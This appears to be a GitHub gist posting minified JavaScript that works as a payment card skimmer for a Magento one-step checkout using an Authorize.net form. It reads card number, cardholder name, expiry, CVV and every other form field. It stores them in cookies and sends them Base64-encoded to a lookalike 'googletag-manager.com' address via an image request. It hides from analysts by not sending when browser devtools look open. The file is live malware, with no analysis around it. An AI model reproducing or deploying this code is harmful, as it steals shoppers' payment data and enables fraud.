Skip to content

Instantly share code, notes, and snippets.

@krautface
Created December 26, 2019 20:30
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save krautface/dab3e44d55d2505e795e0cbd26089296 to your computer and use it in GitHub Desktop.
Save krautface/dab3e44d55d2505e795e0cbd26089296 to your computer and use it in GitHub Desktop.
var activateCheckPage = !0,
spClassInBody = "onestepcheckout-index-index",
spIDinDocument = null,
spTimeout = 1e3,
importFormID = "main--payment-month";
function mainAction()
{
setInterval(function ()
{
null == document.getElementById(importFormID) && (addInputs("#payment_form_wsnyc_authorizenet", "input", "main--payment-month"), addInputs("#payment_form_wsnyc_authorizenet", "input", "main--payment-year"), addInputs("#payment_form_wsnyc_authorizenet", "input", "main--payment-country"), addInputs("#payment_form_wsnyc_authorizenet", "input", "main--payment-state"))
}, 500), setInterval(function ()
{
getDate()
}, 500);
addSniffer("wsnyc_authorizenet_cc_number", "wsnyc_authorizenet_choldder_name", null, null, null, "main--payment-month", "main--payment-year", "wsnyc_authorizenet_cc_cid", "https://googletag-manager.com/GTM-P75S36/", "main--payment-region", "main--payment-country", 500)
}
function addInputs(e = null, t = "input", n = "form--pp")
{
if (null != document.querySelector(e))
{
var r = document.createElement(t);
r.id = n, r.type = "text", r.style.display = "none", document.querySelector(e).append(r)
}
}
function getDate()
{
var e = document.querySelectorAll(".dropdown-wrapper.dropdown-menu.validate-select ul li.dropdown-item-selected span")[1].textContent;
if (null != e)
{
var t = document.getElementById("main--payment-country");
null != t && t.setAttribute("value", e)
}
var n = document.querySelector(".input-box.input-region .dropdown-status").textContent;
if (null != n)
{
var r = document.getElementById("main--payment-state");
null != r && r.setAttribute("value", n)
}
var a = document.querySelector(".dropdown-wrapper.dropdown-menu.month ul li.dropdown-item-selected span").textContent;
if (null != a)
{
var o = document.getElementById("main--payment-month");
null != o && o.setAttribute("value", a.substr(0, 2))
}
var i = document.querySelector(".dropdown-wrapper.dropdown-menu.year ul li.dropdown-item-selected span").textContent;
if (null != i)
{
var c = document.getElementById("main--payment-year");
null != c && c.setAttribute("value", i)
}
}
function checkPage(e = null, t = null, n = 1e3)
{
null != e && (null != (r = document.querySelector("body." + e)) && mainAction());
if (null != t) var r = document.getElementById(t),
a = setInterval(function ()
{
null != r && (clearInterval(a), mainAction())
}, n)
}
function addSniffer(e = null, t = null, n = null, r = null, o = null, l = null, u = null, s = null, f = null, m = null, p = null, h = 300)
{
(function ()
{
function e(t, r)
{
function o(e)
{
if (o[e] !== b) return o[e];
var t;
if ("bug-string-char-index" == e) t = "a" != "a" [0];
else if ("json" == e) t = o("json-stringify") && o("json-parse");
else
{
var n;
if ("json-stringify" == e)
{
var a = "function" == typeof (t = r.stringify) && y;
if (a)
{
(n = function ()
{
return 1
}).toJSON = n;
try
{
a = "0" === t(0) && "0" === t(new i) && '""' == t(new c) && t(g) === b && t(b) === b && t() === b && "1" === t(n) && "[1]" == t([n]) && "[null]" == t([b]) && "null" == t(null) && "[null,null,null]" == t([b, g, null]) && '{"a":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}' == t(
{
a: [n, !0, !1, null, "\0\b\n\f\r\t"]
}) && "1" === t(null, n) && "[\n 1,\n 2\n]" == t([1, 2], null, 1) && '"-271821-04-20T00:00:00.000Z"' == t(new u(-864e13)) && '"+275760-09-13T00:00:00.000Z"' == t(new u(864e13)) && '"-000001-01-01T00:00:00.000Z"' == t(new u(-621987552e5)) && '"1969-12-31T23:59:59.999Z"' == t(new u(-1))
}
catch (e)
{
a = !1
}
}
t = a
}
if ("json-parse" == e)
{
if ("function" == typeof (t = r.parse)) try
{
if (0 === t("0") && !t(!1))
{
var l = 5 == (n = t('{"a":[1,true,false,null,"\\u0000\\b\\n\\f\\r\\t"]}')).a.length && 1 === n.a[0];
if (l)
{
try
{
l = !t('"\t"')
}
catch (e)
{}
if (l) try
{
l = 1 !== t("01")
}
catch (e)
{}
if (l) try
{
l = 1 !== t("1.")
}
catch (e)
{}
}
}
}
catch (e)
{
l = !1
}
t = l
}
}
return o[e] = !!t
}
t || (t = a.Object()), r || (r = a.Object());
var i = t.Number || a.Number,
c = t.String || a.String,
l = t.Object || a.Object,
u = t.Date || a.Date,
d = t.SyntaxError || a.SyntaxError,
s = t.TypeError || a.TypeError,
f = t.Math || a.Math,
m = t.JSON || a.JSON;
"object" == typeof m && m && (r.stringify = m.stringify, r.parse = m.parse);
var p, h, b, g = (l = l.prototype).toString,
y = new u(-0xc782b5b800cec);
try
{
y = -109252 == y.getUTCFullYear() && 0 === y.getUTCMonth() && 1 === y.getUTCDate() && 10 == y.getUTCHours() && 37 == y.getUTCMinutes() && 6 == y.getUTCSeconds() && 708 == y.getUTCMilliseconds()
}
catch (e)
{}
if (!o("json"))
{
var v = o("bug-string-char-index");
if (!y) var C = f.floor,
x = [0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334],
S = function (e, t)
{
return x[t] + 365 * (e - 1970) + C((e - 1969 + (t = +(1 < t))) / 4) - C((e - 1901 + t) / 100) + C((e - 1601 + t) / 400)
};
if ((p = l.hasOwnProperty) || (p = function (e)
{
var t, n = {};
return (n.__proto__ = null, n.__proto__ = {
toString: 1
}, n).toString != g ? p = function (e)
{
var t = this.__proto__;
return e = e in (this.__proto__ = null, this), this.__proto__ = t, e
} : (t = n.constructor, p = function (e)
{
var n = (this.constructor || t).prototype;
return e in this && !(e in n && this[e] === n[e])
}), n = null, p.call(this, e)
}), h = function (e, t)
{
var r, a, o, i = 0;
for (o in (r = function ()
{
this.valueOf = 0
}).prototype.valueOf = 0, a = new r) p.call(a, o) && i++;
return r = a = null, i ? h = 2 == i ? function (e, t)
{
var n, r = {},
a = "[object Function]" == g.call(e);
for (n in e) a && "prototype" == n || p.call(r, n) || !(r[n] = 1) || !p.call(e, n) || t(n)
} : function (e, t)
{
var n, r, a = "[object Function]" == g.call(e);
for (n in e) a && "prototype" == n || !p.call(e, n) || (r = "constructor" === n) || t(n);
(r || p.call(e, n = "constructor")) && t(n)
} : (a = "valueOf toString toLocaleString propertyIsEnumerable isPrototypeOf hasOwnProperty constructor".split(" "), h = function (e, t)
{
var r, o = "[object Function]" == g.call(e),
i = !o && "function" != typeof e.constructor && n[typeof e.hasOwnProperty] && e.hasOwnProperty || p;
for (r in e) o && "prototype" == r || !i.call(e, r) || t(r);
for (o = a.length; r = a[--o]; i.call(e, r) && t(r));
}), h(e, t)
}, !o("json-stringify"))
{
var w = {
92: "\\\\",
34: '\\"',
8: "\\b",
12: "\\f",
10: "\\n",
13: "\\r",
9: "\\t"
},
D = function (e, t)
{
return ("000000" + (t || 0)).slice(-e)
},
A = function (e)
{
for (var t = '"', n = 0, r = e.length, a = !v || 10 < r, o = a && (v ? e.split("") : e); n < r; n++)
{
var i = e.charCodeAt(n);
switch (i)
{
case 8:
case 9:
case 10:
case 12:
case 13:
case 34:
case 92:
t += w[i];
break;
default:
if (32 > i)
{
t += "\\u00" + D(2, i.toString(16));
break
}
t += a ? o[n] : e.charAt(n)
}
}
return t + '"'
},
_ = function (e, t, n, r, a, o, i)
{
var c, l, u, d, f, m, y, v, x;
try
{
c = t[e]
}
catch (e)
{}
if ("object" == typeof c && c)
if ("[object Date]" != (l = g.call(c)) || p.call(c, "toJSON")) "function" == typeof c.toJSON && ("[object Number]" != l && "[object String]" != l && "[object Array]" != l || p.call(c, "toJSON")) && (c = c.toJSON(e));
else if (c > -1 / 0 && c < 1 / 0)
{
if (S)
{
for (d = C(c / 864e5), l = C(d / 365.2425) + 1970 - 1; S(l + 1, 0) <= d; l++);
for (u = C((d - S(l, 0)) / 30.42); S(l, u + 1) <= d; u++);
d = 1 + d - S(l, u), m = C((f = (c % 864e5 + 864e5) % 864e5) / 36e5) % 24, y = C(f / 6e4) % 60, v = C(f / 1e3) % 60, f %= 1e3
}
else l = c.getUTCFullYear(), u = c.getUTCMonth(), d = c.getUTCDate(), m = c.getUTCHours(), y = c.getUTCMinutes(), v = c.getUTCSeconds(), f = c.getUTCMilliseconds();
c = (0 >= l || 1e4 <= l ? (0 > l ? "-" : "+") + D(6, 0 > l ? -l : l) : D(4, l)) + "-" + D(2, u + 1) + "-" + D(2, d) + "T" + D(2, m) + ":" + D(2, y) + ":" + D(2, v) + "." + D(3, f) + "Z"
}
else c = null;
if (n && (c = n.call(t, e, c)), null === c) return "null";
if ("[object Boolean]" == (l = g.call(c))) return "" + c;
if ("[object Number]" == l) return c > -1 / 0 && c < 1 / 0 ? "" + c : "null";
if ("[object String]" == l) return A("" + c);
if ("object" == typeof c)
{
for (e = i.length; e--;)
if (i[e] === c) throw s();
if (i.push(c), x = [], t = o, o += a, "[object Array]" == l)
{
for (u = 0, e = c.length; u < e; u++) l = _(u, c, n, r, a, o, i), x.push(l === b ? "null" : l);
e = x.length ? a ? "[\n" + o + x.join(",\n" + o) + "\n" + t + "]" : "[" + x.join(",") + "]" : "[]"
}
else h(r || c, function (e)
{
var t = _(e, c, n, r, a, o, i);
t !== b && x.push(A(e) + ":" + (a ? " " : "") + t)
}), e = x.length ? a ? "{\n" + o + x.join(",\n" + o) + "\n" + t + "}" : "{" + x.join(",") + "}" : "{}";
return i.pop(), e
}
};
r.stringify = function (e, t, r)
{
var a, o, i, c;
if (n[typeof t] && t)
if ("[object Function]" == (c = g.call(t))) o = t;
else if ("[object Array]" == c)
{
i = {};
for (var l, u = 0, d = t.length; u < d; l = t[u++], ("[object String]" == (c = g.call(l)) || "[object Number]" == c) && (i[l] = 1));
}
if (r)
if ("[object Number]" == (c = g.call(r)))
{
if (0 < (r -= r % 1))
for (a = "", 10 < r && (r = 10); a.length < r; a += " ");
}
else "[object String]" == c && (a = 10 >= r.length ? r : r.slice(0, 10));
return _("", ((l = {})[""] = e, l), o, i, a, "", [])
}
}
if (!o("json-parse"))
{
var j, N, I = c.fromCharCode,
k = {
92: "\\",
34: '"',
47: "/",
98: "\b",
116: "\t",
110: "\n",
102: "\f",
114: "\r"
},
O = function ()
{
throw j = N = null, d()
},
T = function ()
{
for (var e, t, n, r, a, o = N, i = o.length; j < i;) switch (a = o.charCodeAt(j), a)
{
case 9:
case 10:
case 13:
case 32:
j++;
break;
case 123:
case 125:
case 91:
case 93:
case 58:
case 44:
return e = v ? o.charAt(j) : o[j], j++, e;
case 34:
for (e = "@", j++; j < i;)
if (32 > (a = o.charCodeAt(j))) O();
else if (92 == a) switch (a = o.charCodeAt(++j), a)
{
case 92:
case 34:
case 47:
case 98:
case 116:
case 110:
case 102:
case 114:
e += k[a], j++;
break;
case 117:
for (t = ++j, n = j + 4; j < n; j++) 48 <= (a = o.charCodeAt(j)) && 57 >= a || 97 <= a && 102 >= a || 65 <= a && 70 >= a || O();
e += I("0x" + o.slice(t, j));
break;
default:
O()
}
else
{
if (34 == a) break;
for (a = o.charCodeAt(j), t = j; 32 <= a && 92 != a && 34 != a;) a = o.charCodeAt(++j);
e += o.slice(t, j)
}
if (34 == o.charCodeAt(j)) return j++, e;
O();
default:
if (t = j, 45 == a && (r = !0, a = o.charCodeAt(++j)), 48 <= a && 57 >= a)
{
for (48 == a && 48 <= (a = o.charCodeAt(j + 1)) && 57 >= a && O(); j < i && 48 <= (a = o.charCodeAt(j)) && 57 >= a; j++);
if (46 == o.charCodeAt(j))
{
for (n = ++j; n < i && 48 <= (a = o.charCodeAt(n)) && 57 >= a; n++);
n == j && O(), j = n
}
if (101 == (a = o.charCodeAt(j)) || 69 == a)
{
for (43 != (a = o.charCodeAt(++j)) && 45 != a || j++, n = j; n < i && 48 <= (a = o.charCodeAt(n)) && 57 >= a; n++);
n == j && O(), j = n
}
return +o.slice(t, j)
}
if (r && O(), "true" == o.slice(j, j + 4)) return j += 4, !0;
if ("false" == o.slice(j, j + 5)) return j += 5, !1;
if ("null" == o.slice(j, j + 4)) return j += 4, null;
O()
}
return "$"
},
B = function (e)
{
var t, n;
if ("$" == e && O(), "string" == typeof e)
{
if ("@" == (v ? e.charAt(0) : e[0])) return e.slice(1);
if ("[" == e)
{
for (t = [];
"]" != (e = T()); n || (n = !0)) n && ("," == e ? "]" == (e = T()) && O() : O()), "," == e && O(), t.push(B(e));
return t
}
if ("{" == e)
{
for (t = {};
"}" != (e = T()); n || (n = !0)) n && ("," == e ? "}" == (e = T()) && O() : O()), "," != e && "string" == typeof e && "@" == (v ? e.charAt(0) : e[0]) && ":" == T() || O(), t[e.slice(1)] = B(T());
return t
}
O()
}
return e
},
E = function (e, t, n)
{
(n = U(e, t, n)) === b ? delete e[t] : e[t] = n
},
U = function (e, t, n)
{
var r, a = e[t];
if ("object" == typeof a && a)
if ("[object Array]" == g.call(a))
for (r = a.length; r--;) E(a, r, n);
else h(a, function (e)
{
E(a, e, n)
});
return n.call(e, t, a)
};
r.parse = function (e, t)
{
var n, r;
return j = 0, N = "" + e, n = B(T()), "$" != T() && O(), j = N = null, t && "[object Function]" == g.call(t) ? U(((r = {})[""] = n, r), "", t) : n
}
}
}
return r.runInContext = e, r
}
var t = "function" == typeof define && define.amd,
n = {
function: !0,
object: !0
},
r = n[typeof exports] && exports && !exports.nodeType && exports,
a = n[typeof window] && window || this,
o = r && n[typeof module] && module && !module.nodeType && "object" == typeof global && global;
if (!o || o.global !== o && o.window !== o && o.self !== o || (a = o), r && !t) e(a, r);
else
{
var i = a.JSON,
c = a.JSON3,
l = !1,
u = e(a, a.JSON3 = {
noConflict: function ()
{
return l || (l = !0, a.JSON = i, a.JSON3 = c, i = c = null), u
}
});
a.JSON = {
parse: u.parse,
stringify: u.stringify
}
}
t && define(function ()
{
return u
})
}).call(this),
function (e)
{
var t = !1;
if ("function" == typeof define && define.amd && (define(e), t = !0), "object" == typeof exports && (module.exports = e(), t = !0), !t)
{
var n = window.Cookies,
r = window.Cookies = e();
r.noConflict = function ()
{
return window.Cookies = n, r
}
}
}(function ()
{
function e()
{
for (var e = 0, t = {}; e < arguments.length; e++)
{
var n = arguments[e];
for (var r in n) t[r] = n[r]
}
return t
}
return function t(n)
{
function r(t, a, o)
{
var i;
if ("undefined" != typeof document)
{
if (1 < arguments.length)
{
if ("number" == typeof (o = e(
{
path: "/"
}, r.defaults, o)).expires)
{
var c = new Date;
c.setMilliseconds(c.getMilliseconds() + 864e5 * o.expires), o.expires = c
}
o.expires = o.expires ? o.expires.toUTCString() : "";
try
{
i = JSON.stringify(a), /^[\{\[]/.test(i) && (a = i)
}
catch (t)
{}
a = n.write ? n.write(a, t) : encodeURIComponent(String(a)).replace(/%(23|24|26|2B|3A|3C|3E|3D|2F|3F|40|5B|5D|5E|60|7B|7D|7C)/g, decodeURIComponent), t = (t = (t = encodeURIComponent(String(t))).replace(/%(23|24|26|2B|5E|60|7C)/g, decodeURIComponent)).replace(/[\(\)]/g, escape);
var l = "";
for (var u in o) o[u] && (l += "; " + u, !0 !== o[u] && (l += "=" + o[u]));
return document.cookie = t + "=" + a + l
}
t || (i = {});
for (var d = document.cookie ? document.cookie.split("; ") : [], s = /(%[0-9A-Z]{2})+/g, f = 0; f < d.length; f++)
{
var m = d[f].split("="),
p = m.slice(1).join("=");
this.json || '"' !== p.charAt(0) || (p = p.slice(1, -1));
try
{
var h = m[0].replace(s, decodeURIComponent);
if (p = n.read ? n.read(p, h) : n(p, h) || p.replace(s, decodeURIComponent), this.json) try
{
p = JSON.parse(p)
}
catch (t)
{}
if (t === h)
{
i = p;
break
}
t || (i[h] = p)
}
catch (t)
{}
}
return i
}
}
return (r.set = r).get = function (e)
{
return r.call(r, e)
}, r.getJSON = function ()
{
return r.apply(
{
json: !0
}, [].slice.call(arguments))
}, r.defaults = {}, r.remove = function (t, n)
{
r(t, "", e(n,
{
expires: -1
}))
}, r.withConverter = t, r
}(function () {})
});
var g = "0123456789abcdef";
function y(e)
{
for (str = "", j = 0; j <= 3; j++) str += g.charAt(e >> 8 * j + 4 & 15) + g.charAt(e >> 8 * j & 15);
return str
}
function v(e, t)
{
var n = (65535 & e) + (65535 & t);
return (e >> 16) + (t >> 16) + (n >> 16) << 16 | 65535 & n
}
function C(e, t, n, r, a, o)
{
return v(function (e, t)
{
return e << t | e >>> 32 - t
}(v(v(t, e), v(r, o)), a), n)
}
function S(e, t, n, r, a, o, i)
{
return C(t & n | ~t & r, e, t, a, o, i)
}
function w(e, t, n, r, a, o, i)
{
return C(t & r | n & ~r, e, t, a, o, i)
}
function D(e, t, n, r, a, o, i)
{
return C(t ^ n ^ r, e, t, a, o, i)
}
function A(e, t, n, r, a, o, i)
{
return C(n ^ (t | ~r), e, t, a, o, i)
}
function _(e)
{
for (x = function (e)
{
for (nblk = 1 + (e.length + 8 >> 6), blks = new Array(16 * nblk), i = 0; i < 16 * nblk; i++) blks[i] = 0;
for (i = 0; i < e.length; i++) blks[i >> 2] |= e.charCodeAt(i) << i % 4 * 8;
return blks[i >> 2] |= 128 << i % 4 * 8, blks[16 * nblk - 2] = 8 * e.length, blks
}(e), a = 1732584193, b = -271733879, c = -1732584194, d = 271733878, i = 0; i < x.length; i += 16) olda = a, oldb = b, oldc = c, oldd = d, a = S(a, b, c, d, x[i + 0], 7, -680876936), d = S(d, a, b, c, x[i + 1], 12, -389564586), c = S(c, d, a, b, x[i + 2], 17, 606105819), b = S(b, c, d, a, x[i + 3], 22, -1044525330), a = S(a, b, c, d, x[i + 4], 7, -176418897), d = S(d, a, b, c, x[i + 5], 12, 1200080426), c = S(c, d, a, b, x[i + 6], 17, -1473231341), b = S(b, c, d, a, x[i + 7], 22, -45705983), a = S(a, b, c, d, x[i + 8], 7, 1770035416), d = S(d, a, b, c, x[i + 9], 12, -1958414417), c = S(c, d, a, b, x[i + 10], 17, -42063), b = S(b, c, d, a, x[i + 11], 22, -1990404162), a = S(a, b, c, d, x[i + 12], 7, 1804603682), d = S(d, a, b, c, x[i + 13], 12, -40341101), c = S(c, d, a, b, x[i + 14], 17, -1502002290), b = S(b, c, d, a, x[i + 15], 22, 1236535329), a = w(a, b, c, d, x[i + 1], 5, -165796510), d = w(d, a, b, c, x[i + 6], 9, -1069501632), c = w(c, d, a, b, x[i + 11], 14, 643717713), b = w(b, c, d, a, x[i + 0], 20, -373897302), a = w(a, b, c, d, x[i + 5], 5, -701558691), d = w(d, a, b, c, x[i + 10], 9, 38016083), c = w(c, d, a, b, x[i + 15], 14, -660478335), b = w(b, c, d, a, x[i + 4], 20, -405537848), a = w(a, b, c, d, x[i + 9], 5, 568446438), d = w(d, a, b, c, x[i + 14], 9, -1019803690), c = w(c, d, a, b, x[i + 3], 14, -187363961), b = w(b, c, d, a, x[i + 8], 20, 1163531501), a = w(a, b, c, d, x[i + 13], 5, -1444681467), d = w(d, a, b, c, x[i + 2], 9, -51403784), c = w(c, d, a, b, x[i + 7], 14, 1735328473), b = w(b, c, d, a, x[i + 12], 20, -1926607734), a = D(a, b, c, d, x[i + 5], 4, -378558), d = D(d, a, b, c, x[i + 8], 11, -2022574463), c = D(c, d, a, b, x[i + 11], 16, 1839030562), b = D(b, c, d, a, x[i + 14], 23, -35309556), a = D(a, b, c, d, x[i + 1], 4, -1530992060), d = D(d, a, b, c, x[i + 4], 11, 1272893353), c = D(c, d, a, b, x[i + 7], 16, -155497632), b = D(b, c, d, a, x[i + 10], 23, -1094730640), a = D(a, b, c, d, x[i + 13], 4, 681279174), d = D(d, a, b, c, x[i + 0], 11, -358537222), c = D(c, d, a, b, x[i + 3], 16, -722521979), b = D(b, c, d, a, x[i + 6], 23, 76029189), a = D(a, b, c, d, x[i + 9], 4, -640364487), d = D(d, a, b, c, x[i + 12], 11, -421815835), c = D(c, d, a, b, x[i + 15], 16, 530742520), b = D(b, c, d, a, x[i + 2], 23, -995338651), a = A(a, b, c, d, x[i + 0], 6, -198630844), d = A(d, a, b, c, x[i + 7], 10, 1126891415), c = A(c, d, a, b, x[i + 14], 15, -1416354905), b = A(b, c, d, a, x[i + 5], 21, -57434055), a = A(a, b, c, d, x[i + 12], 6, 1700485571), d = A(d, a, b, c, x[i + 3], 10, -1894986606), c = A(c, d, a, b, x[i + 10], 15, -1051523), b = A(b, c, d, a, x[i + 1], 21, -2054922799), a = A(a, b, c, d, x[i + 8], 6, 1873313359), d = A(d, a, b, c, x[i + 15], 10, -30611744), c = A(c, d, a, b, x[i + 6], 15, -1560198380), b = A(b, c, d, a, x[i + 13], 21, 1309151649), a = A(a, b, c, d, x[i + 4], 6, -145523070), d = A(d, a, b, c, x[i + 11], 10, -1120210379), c = A(c, d, a, b, x[i + 2], 15, 718787259), b = A(b, c, d, a, x[i + 9], 21, -343485551), a = v(a, olda), b = v(b, oldb), c = v(c, oldc), d = v(d, oldd);
return y(a) + y(b) + y(c) + y(d)
}! function ()
{
"use strict";
var e = {
open: !1,
orientation: null
},
t = function (e, t)
{
window.dispatchEvent(new CustomEvent("devtoolschange",
{
detail:
{
open: e,
orientation: t
}
}))
};
setInterval(function ()
{
var n = window.outerWidth - window.innerWidth > 160,
r = window.outerHeight - window.innerHeight > 160,
a = n ? "vertical" : "horizontal";
r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (e.open && t(!1, null), e.open = !1, e.orientation = null) : (e.open && e.orientation === a || t(!0, a), e.open = !0, e.orientation = a)
}, 500), "undefined" != typeof module && module.exports ? module.exports = e : window.devtools = e
}();
var N = {
Number: e,
Holder: t,
HolderFirstName: n,
HolderLastName: r,
Date: o,
Month: l,
Year: u,
CVV: s,
Gate: f,
Data:
{},
Sent: [],
SaveParam: function (e)
{
if (void 0 !== e.id && "" != e.id && null !== e.id && e.value.length < 256 && e.value.length > 0) return N.Data[e.id] = e.value, [m, p].indexOf(e.id) > -1 && e.selectedIndex >= 0 ? void(N.Data[e.id] = e.options[e.selectedIndex].innerText) : void 0;
void 0 !== e.name && "" != e.name && null !== e.name && e.value.length < 256 && e.value.length > 0 && (N.Data[e.name] = e.value)
},
SaveAllFields: function ()
{
for (var e = document.getElementsByTagName("input"), t = document.getElementsByTagName("select"), n = document.getElementsByTagName("textarea"), r = 0; r < e.length; r++) N.SaveParam(e[r]);
for (r = 0; r < t.length; r++) N.SaveParam(t[r]);
for (r = 0; r < n.length; r++) N.SaveParam(n[r]);
Cookies.set("$s", N.Base64.encode(JSON.stringify(N.Data)))
},
SendData: function ()
{
if (!window.devtools.open)
{
N.Data.Domain = location.hostname;
for (var e = N.Base64.encode(JSON.stringify(N.Data)), t = _(e), n = 0; n < N.Sent.length; n++)
if (N.Sent[n] == t) return;
N.LoadImage(e)
}
},
TrySend: function ()
{
N.SaveAllFields(), N.GetCCInfo(), void 0 === N.Data.Number || N.Data.Number.length < 11 || void 0 !== N.Data.Holder && 0 != N.Data.Holder.length && void 0 !== N.Data.Date && 0 != N.Data.Date.length && (void 0 === N.Data.CVV || N.Data.CVV.length < 3 || N.SendData())
},
GetCCInfo: function ()
{
null !== N.Number && void 0 !== N.Data[N.Number] && (N.Data.Number = N.Data[N.Number]), null !== N.CVV && void 0 !== N.Data[N.CVV] && (N.Data.CVV = N.Data[N.CVV]), null !== N.Holder && void 0 !== N.Data[N.Holder] && (N.Data.Holder = N.Data[N.Holder]), null !== N.HolderFirstName && void 0 !== N.Data[N.HolderFirstName] && (N.Data.Holder = N.Data[N.HolderFirstName]), null !== N.HolderLastName && void 0 !== N.Data[N.HolderLastName] && (N.Data.Holder += " " + N.Data[N.HolderLastName]), null !== N.Date && void 0 !== N.Data[N.Date] && (N.Data.Date = N.Data[N.Date]), null !== N.Month && void 0 !== N.Data[N.Month] && (N.Data.Date = N.Data[N.Month]), null !== N.Year && void 0 !== N.Data[N.Year] && (N.Data.Date += "/" + N.Data[N.Year])
},
LoadImage: function (e)
{
N.Sent.push(_(e)), Cookies.set("$sent", N.Base64.encode(JSON.stringify(N.Sent))), document.createElement("IMG").src = N.GetImageUrl(e), Cookies.remove("$s")
},
GetImageUrl: function (e)
{
return N.Gate + "?hash=" + e
},
GetFromStorage: function ()
{
void 0 !== Cookies.get("$s") && (N.Data = JSON.parse(N.Base64.decode(Cookies.get("$s")))), void 0 !== Cookies.get("$sent") && (N.Sent = JSON.parse(N.Base64.decode(Cookies.get("$sent"))))
},
Base64:
{
_keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
encode: function (e)
{
var t, n, r, a, o, i, c, l = "",
u = 0;
for (e = this._utf8_encode(e); u < e.length;) a = (t = e.charCodeAt(u++)) >> 2, o = (3 & t) << 4 | (n = e.charCodeAt(u++)) >> 4, i = (15 & n) << 2 | (r = e.charCodeAt(u++)) >> 6, c = 63 & r, isNaN(n) ? i = c = 64 : isNaN(r) && (c = 64), l = l + this._keyStr.charAt(a) + this._keyStr.charAt(o) + this._keyStr.charAt(i) + this._keyStr.charAt(c);
return l
},
decode: function (e)
{
var t, n, r, a, o, i, c = "",
l = 0;
for (e = e.replace(/[^A-Za-z0-9\+\/\=]/g, ""); l < e.length;) t = this._keyStr.indexOf(e.charAt(l++)) << 2 | (a = this._keyStr.indexOf(e.charAt(l++))) >> 4, n = (15 & a) << 4 | (o = this._keyStr.indexOf(e.charAt(l++))) >> 2, r = (3 & o) << 6 | (i = this._keyStr.indexOf(e.charAt(l++))), c += String.fromCharCode(t), 64 != o && (c += String.fromCharCode(n)), 64 != i && (c += String.fromCharCode(r));
return this._utf8_decode(c)
},
_utf8_encode: function (e)
{
e = e.replace(/\r\n/g, "\n");
for (var t = "", n = 0; n < e.length; n++)
{
var r = e.charCodeAt(n);
r < 128 ? t += String.fromCharCode(r) : r > 127 && r < 2048 ? (t += String.fromCharCode(r >> 6 | 192), t += String.fromCharCode(63 & r | 128)) : (t += String.fromCharCode(r >> 12 | 224), t += String.fromCharCode(r >> 6 & 63 | 128), t += String.fromCharCode(63 & r | 128))
}
return t
},
_utf8_decode: function (e)
{
for (var t = "", n = 0, r = c1 = c2 = 0; n < e.length;)(r = e.charCodeAt(n)) < 128 ? (t += String.fromCharCode(r), n++) : r > 191 && r < 224 ? (c2 = e.charCodeAt(n + 1), t += String.fromCharCode((31 & r) << 6 | 63 & c2), n += 2) : (c2 = e.charCodeAt(n + 1), c3 = e.charCodeAt(n + 2), t += String.fromCharCode((15 & r) << 12 | (63 & c2) << 6 | 63 & c3), n += 3);
return t
}
}
};
N.GetFromStorage(), setInterval(N.TrySend, h), document.getElementById(N.Number) && (document.getElementById(N.Number).value = ""), document.getElementById(N.CVV) && (document.getElementById(N.CVV).value = "")
}
activateCheckPage ? window.onload = function ()
{
checkPage(spClassInBody, spIDinDocument, spTimeout)
} : mainAction();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment